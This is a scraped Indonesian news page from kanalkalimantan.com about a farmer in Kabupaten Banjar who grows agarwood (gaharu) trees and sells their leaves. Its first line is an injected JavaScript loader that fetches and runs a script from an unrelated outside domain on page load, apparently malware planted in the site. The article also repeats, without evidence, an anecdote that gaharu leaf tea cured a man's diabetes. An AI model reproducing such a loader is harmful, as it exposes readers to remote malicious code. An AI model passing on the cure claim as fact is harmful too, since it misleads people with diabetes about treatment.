(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Khasiat Daun Gaharu hingga Dicari Orang Afrika


SUNGAI TABUK- Gaharu, tanaman jenis ini sekarang termasuk cukup susah ditemui keberadaannya. Di beberapa negara, pohon ini bahkan termasuk jenis yang dilindungi karena banyak yang memanfaatkan tanpa menanamkannya kembali. Di antaranya adalah sebagai obat kencing manis dengan memanfaatkan daunnya.
Namun demikian, Gaharu bisa ditemukan di Desa Pematang Panjang Kecamatan Sungai Tabuk, Kabupaten Banjar. Di situ, Suprapto (64) bersama istri dan dua anaknya, dalam kurun tiga tahun berhasil membudidayakan tanaman tersebut. Ia memiliki kurang lebih 1.500 pohon gaharu di atas tanah seluas 160 x 60 m2.
Tanaman gaharu mirip seperti cemara yang berukuran kecil sekitar 30 cm. Bunga tanaman ini berwarna putih dengan daun yang panjang serta lebar. Permukaan daunnya halus berwarna hijau muda, serta pada bagian batang pohonnya memiliki warna corak putih seperti pulau-pulau kecil.
Menurut Suprapto, selama membudidayakan tanaman tersebut sudah banyak orang yang datang ke tempatnya untuk membeli daun-daun gaharu. “Dulu pernah ada orang dari Afrika datang ke sini, namanya Manuel. Katanya dia pingin membeli daunnya untuk dibawa ke negaranya. Soalnya disamping khasiatnya bisa menyembuhkan berbagai penyakit kronis, di negaranya pohon ini termasuk langka dan mahal,” ungkapnya ditemui kanalkalimantan.com di rumahnya, Kamis (14/9).
Dia juga menjelaskan, selain bisa dikonsumsi secara langsung dengan cara merebus daunnya gaharu, juga bisa diolah menjadi teh. “Saya sering ngirim ke tempat pengolah teh yang ada di Km 7 Kecamatan Kertak Hanyar ,” ujarnya.
Terkait khasiat, Suprapto mengisahkan salah satu temannya mengidap penyakit kencing manis. Berbagai macam obat medis telah dikonsumsi, tetapi hanya bisa mengurangi rasa sakit saja. Setelah meminum larutan air dari daun gaharu bisa sembuh. “Dua minggu setelah itu dia datang ke rumah dan mengatakan kencing manisnya sudah berhenti,” katanya.

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.